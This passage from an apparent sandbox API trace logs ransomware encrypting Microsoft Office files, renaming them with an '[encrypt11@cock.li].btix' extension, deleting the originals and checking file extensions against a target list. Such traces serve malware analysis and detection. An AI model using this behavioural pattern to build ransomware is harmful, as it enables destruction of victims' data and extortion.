Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107328.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0145.777] GetLastError () returned 0x0 [0145.777] ReadFile (in: hFile=0x3b0, lpBuffer=0x3c65020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesRead=0x300fecc*=0x1984, lpOverlapped=0x0) returned 1 [0145.779] WriteFile (in: hFile=0x338, lpBuffer=0x3c65020*, nNumberOfBytesToWrite=0x1990, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesWritten=0x300fc94*=0x1990, lpOverlapped=0x0) returned 1 [0145.780] ReadFile (in: hFile=0x3b0, lpBuffer=0x3c65020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1 [0145.780] WriteFile (in: hFile=0x338, lpBuffer=0x3c65020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesWritten=0x300fc94*=0xec, lpOverlapped=0x0) returned 1 [0145.780] SetEndOfFile (hFile=0x338) returned 1 [0145.780] CloseHandle (hObject=0x338) returned 1 [0145.780] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0145.780] SetEndOfFile (hFile=0x3b0) returned 1 [0145.782] CloseHandle (hObject=0x3b0) returned 1 [0145.783] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0145.783] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107328.wmf")) returned 1 [0145.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF") returned 68 [0145.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF") returned 68 [0145.783] lstrlenW (lpString=".doc") returned 4 [0145.784] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0145.784] lstrlenW (lpString=".docx") returned 5 [0145.784] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0145.784] lstrlenW (lpString=".pdf") returned 4 [0145.784] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0145.784] lstrlenW (lpString=".xls") returned 4 [0145.784] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0145.784] lstrlenW (lpString=".xlsx") returned 5 [0145.784] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0145.784] lstrlenW (lpString=".ppt") returned 4 [0145.784] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0145.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF") returned 68 [0145.784] lstrlenW (lpString=".zip") returned 4 [0145.784] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0145.784] lstrlenW (lpString=".rar") returned 4 [0145.784] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0145.784] lstrlenW (lpString=".bz2") returned 4 [0145.784] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0145.784] lstrlenW (lpString=".7z") returned 3 [0145.784] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0145.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF") returned 68 [0145.784] lstrlenW (lpString=".dbf") returned 4 [0145.784] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0145.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF") returned 68 [0145.784] lstrlenW (lpString=".1cd") returned 4 [0145.784] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0145.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF") returned 68 [0145.784] lstrlenW (lpString=".jpg") returned 4 [0145.784] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0145.785] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=4244) returned 1 [0145.785] CloseHandle (hObject=0x3b0) returned 1 [0145.785] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107342.wmf")) returned 0x220 [0145.785] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107342.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0145.785] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107342.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0145.785] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0145.785] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0145.786] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107342.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0145.786] GetLastError () returned 0x0 [0145.786] ReadFile (in: hFile=0x3b0, lpBuffer=0x3c65020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesRead=0x300fecc*=0x1094, lpOverlapped=0x0) returned 1 [0145.881] WriteFile (in: hFile=0x338, lpBuffer=0x3c65020*, nNumberOfBytesToWrite=0x10a0, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesWritten=0x300fc94*=0x10a0, lpOverlapped=0x0) returned 1 [0145.935] ReadFile (in: hFile=0x3b0, lpBuffer=0x3c65020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1 [0145.935] WriteFile (in: hFile=0x338, lpBuffer=0x3c65020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesWritten=0x300fc94*=0xec, lpOverlapped=0x0) returned 1 [0145.935] SetEndOfFile (hFile=0x338) returned 1 [0145.935] CloseHandle (hObject=0x338) returned 1 [0145.935] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0145.935] SetEndOfFile (hFile=0x3b0) returned 1 [0145.937] CloseHandle (hObject=0x3b0) returned 1 [0145.937] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0145.938] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107342.wmf")) returned 1 [0145.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF") returned 68 [0145.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF") returned 68 [0145.938] lstrlenW (lpString=".doc") returned 4 [0145.938] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0145.938] lstrlenW (lpString=".docx") returned 5 [0145.938] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0145.938] lstrlenW (lpString=".pdf") returned 4 [0145.938] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0145.939] lstrlenW (lpString=".xls") returned 4 [0145.939] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0145.939] lstrlenW (lpString=".xlsx") returned 5 [0145.939] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0145.939] lstrlenW (lpString=".ppt") returned 4 [0145.939] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0145.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF") returned 68 [0145.939] lstrlenW (lpString=".zip") returned 4 [0145.939] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0145.939] lstrlenW (lpString=".rar") returned 4 [0145.939] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0145.939] lstrlenW (lpString=".bz2") returned 4 [0145.939] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0145.939] lstrlenW (lpString=".7z") returned 3 [0145.939] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0145.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF") returned 68 [0145.939] lstrlenW (lpString=".dbf") returned 4 [0145.939] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0145.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF") returned 68 [0145.939] lstrlenW (lpString=".1cd") returned 4 [0145.939] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0145.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF") returned 68 [0145.939] lstrlenW (lpString=".jpg") returned 4 [0145.939] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0145.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF") returned 68 [0145.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF") returned 68 [0145.939] lstrlenW (lpString=".doc") returned 4 [0145.939] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0145.939] lstrlenW (lpString=".docx") returned 5 [0145.939] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0145.939] lstrlenW (lpString=".pdf") returned 4 [0145.939] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0145.939] lstrlenW (lpString=".xls") returned 4 [0145.939] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0145.939] lstrlenW (lpString=".xlsx") returned 5 [0145.940] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0145.940] lstrlenW (lpString=".ppt") returned 4 [0145.940] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0145.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF") returned 68 [0145.940] lstrlenW (lpString=".zip") returned 4 [0145.940] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0145.940] lstrlenW (lpString=".rar") returned 4 [0145.940] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0145.940] lstrlenW (lpString=".bz2") returned 4 [0145.940] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0145.940] lstrlenW (lpString=".7z") returned 3 [0145.940] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0145.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF") returned 68 [0145.940] lstrlenW (lpString=".dbf") returned 4 [0145.940] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0145.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF") returned 68 [0145.940] lstrlenW (lpString=".1cd") returned 4 [0145.940] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0145.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF") returned 68 [0145.940] lstrlenW (lpString=".jpg") returned 4 [0145.940] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0145.940] lstrlenW (lpString=".id-") returned 4 [0145.940] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x574c68 | out: hHeap=0x510000) returned 1 [0145.940] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5bd720 | out: hHeap=0x510000) returned 1 [0145.940] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5de138 | out: hHeap=0x510000) returned 1 [0145.941] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5ee140 | out: hHeap=0x510000) returned 1 [0145.941] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3c65020 | out: hHeap=0x510000) returned 1 [0145.946] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x574de8 | out: hHeap=0x510000) returned 1 [0145.946] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x5b47d8 [0145.946] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x5b47d8, Size=0x20) returned 0x443de50 [0145.946] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x5b46b8 [0145.946] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x5b46b8, Size=0x20) returned 0x443de00 [0145.946] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75130000 [0145.946] GetProcAddress (hModule=0x75130000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75146b30 [0145.946] Wow64DisableWow64FsRedirection (in: OldValue=0x300ff50 | out: OldValue=0x300ff50*=0x1) returned 1 [0145.946] lstrlenW (lpString="kernel32.dll") returned 12 [0145.946] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x443de00 | out: hHeap=0x510000) returned 1 [0145.946] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0145.946] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x443de50 | out: hHeap=0x510000) returned 1 Thread: id = 43 os_tid = 0xe20 [0126.342] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10000) returned 0x3d70048 [0126.342] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10000) returned 0x3d80050 [0126.343] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x574e00 [0126.343] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x6) returned 0x5bd730 [0126.343] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x574c80 [0126.343] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x100000) returned 0x3e7c020 [0126.345] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x574e18 [0126.345] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x574e18, Size=0x20) returned 0x54e920 [0126.345] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x574e30 [0126.345] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x574e30, Size=0x20) returned 0x54ea88 [0126.345] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75130000 [0126.345] GetProcAddress (hModule=0x75130000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75146b30 [0126.345] Wow64DisableWow64FsRedirection (in: OldValue=0x314ff50 | out: OldValue=0x314ff50*=0x0) returned 1 [0126.345] lstrlenW (lpString="kernel32.dll") returned 12 [0126.345] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54e920 | out: hHeap=0x510000) returned 1 [0126.345] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0126.345] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54ea88 | out: hHeap=0x510000) returned 1 [0126.346] Sleep (dwMilliseconds=0x64) [0126.783] Sleep (dwMilliseconds=0x64) [0127.132] Sleep (dwMilliseconds=0x64) [0127.329] Sleep (dwMilliseconds=0x64) [0127.806] lstrcmpiW (lpString1=".xml", lpString2=".btix") returned 1 [0127.806] lstrlenW (lpString="Content.xml") returned 11 [0127.806] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0128.463] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=27045) returned 1 [0128.463] CloseHandle (hObject=0x398) returned 1 [0128.463] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml")) returned 0x20 [0128.463] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0128.463] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0128.463] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0128.463] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0128.463] lstrlenW (lpString=".doc") returned 4 [0128.463] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0128.463] lstrlenW (lpString=".docx") returned 5 [0128.463] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0128.463] lstrlenW (lpString=".pdf") returned 4 [0128.463] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0128.463] lstrlenW (lpString=".xls") returned 4 [0128.463] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0128.463] lstrlenW (lpString=".xlsx") returned 5 [0128.463] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0128.463] lstrlenW (lpString=".ppt") returned 4 [0128.464] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0128.464] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0128.464] lstrlenW (lpString=".zip") returned 4 [0128.464] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0128.464] lstrlenW (lpString=".rar") returned 4 [0128.464] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0128.464] lstrlenW (lpString=".bz2") returned 4 [0128.464] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0128.464] lstrlenW (lpString=".7z") returned 3 [0128.464] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0128.464] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0128.464] lstrlenW (lpString=".dbf") returned 4 [0128.464] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0128.464] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0128.464] lstrlenW (lpString=".1cd") returned 4 [0128.464] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0128.464] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0128.464] lstrlenW (lpString=".jpg") returned 4 [0128.464] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0128.464] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0128.464] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0128.464] lstrlenW (lpString=".doc") returned 4 [0128.464] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0128.464] lstrlenW (lpString=".docx") returned 5 [0128.464] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0128.464] lstrlenW (lpString=".pdf") returned 4 [0128.464] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0128.464] lstrlenW (lpString=".xls") returned 4 [0128.464] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0128.464] lstrlenW (lpString=".xlsx") returned 5 [0128.464] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0128.464] lstrlenW (lpString=".ppt") returned 4 [0128.464] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0128.465] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0128.465] lstrlenW (lpString=".zip") returned 4 [0128.465] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0128.465] lstrlenW (lpString=".rar") returned 4 [0128.465] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0128.465] lstrlenW (lpString=".bz2") returned 4 [0128.465] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0128.465] lstrlenW (lpString=".7z") returned 3 [0128.465] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0128.465] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0128.465] lstrlenW (lpString=".dbf") returned 4 [0128.465] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0128.465] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0128.465] lstrlenW (lpString=".1cd") returned 4 [0128.465] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0128.465] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0128.465] lstrlenW (lpString=".jpg") returned 4 [0128.465] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0128.465] Sleep (dwMilliseconds=0x64) [0128.847] Sleep (dwMilliseconds=0x64) [0129.233] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0129.234] lstrlenW (lpString="FD02075_.WMF") returned 12 [0129.234] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02075_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0129.395] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=4396) returned 1 [0129.395] CloseHandle (hObject=0x3d0) returned 1 [0129.395] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02075_.wmf")) returned 0x220 [0129.924] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02075_.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0x20 [0130.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 68 [0130.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 68 [0130.048] lstrlenW (lpString=".doc") returned 4 [0130.048] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0130.048] lstrlenW (lpString=".docx") returned 5 [0130.048] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0130.048] lstrlenW (lpString=".pdf") returned 4 [0130.048] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0130.048] lstrlenW (lpString=".xls") returned 4 [0130.048] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0130.048] lstrlenW (lpString=".xlsx") returned 5 [0130.048] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0130.048] lstrlenW (lpString=".ppt") returned 4 [0130.048] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0130.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 68 [0130.048] lstrlenW (lpString=".zip") returned 4 [0130.048] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0130.048] lstrlenW (lpString=".rar") returned 4 [0130.048] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0130.048] lstrlenW (lpString=".bz2") returned 4 [0130.048] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0130.048] lstrlenW (lpString=".7z") returned 3 [0130.048] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0130.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 68 [0130.048] lstrlenW (lpString=".dbf") returned 4 [0130.048] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0130.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 68 [0130.048] lstrlenW (lpString=".1cd") returned 4 [0130.048] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0130.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 68 [0130.049] lstrlenW (lpString=".jpg") returned 4 [0130.049] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0130.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 68 [0130.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 68 [0130.049] lstrlenW (lpString=".doc") returned 4 [0130.049] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0130.049] lstrlenW (lpString=".docx") returned 5 [0130.049] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0130.049] lstrlenW (lpString=".pdf") returned 4 [0130.049] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0130.049] lstrlenW (lpString=".xls") returned 4 [0130.049] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0130.049] lstrlenW (lpString=".xlsx") returned 5 [0130.049] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0130.049] lstrlenW (lpString=".ppt") returned 4 [0130.049] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0130.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 68 [0130.049] lstrlenW (lpString=".zip") returned 4 [0130.049] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0130.049] lstrlenW (lpString=".rar") returned 4 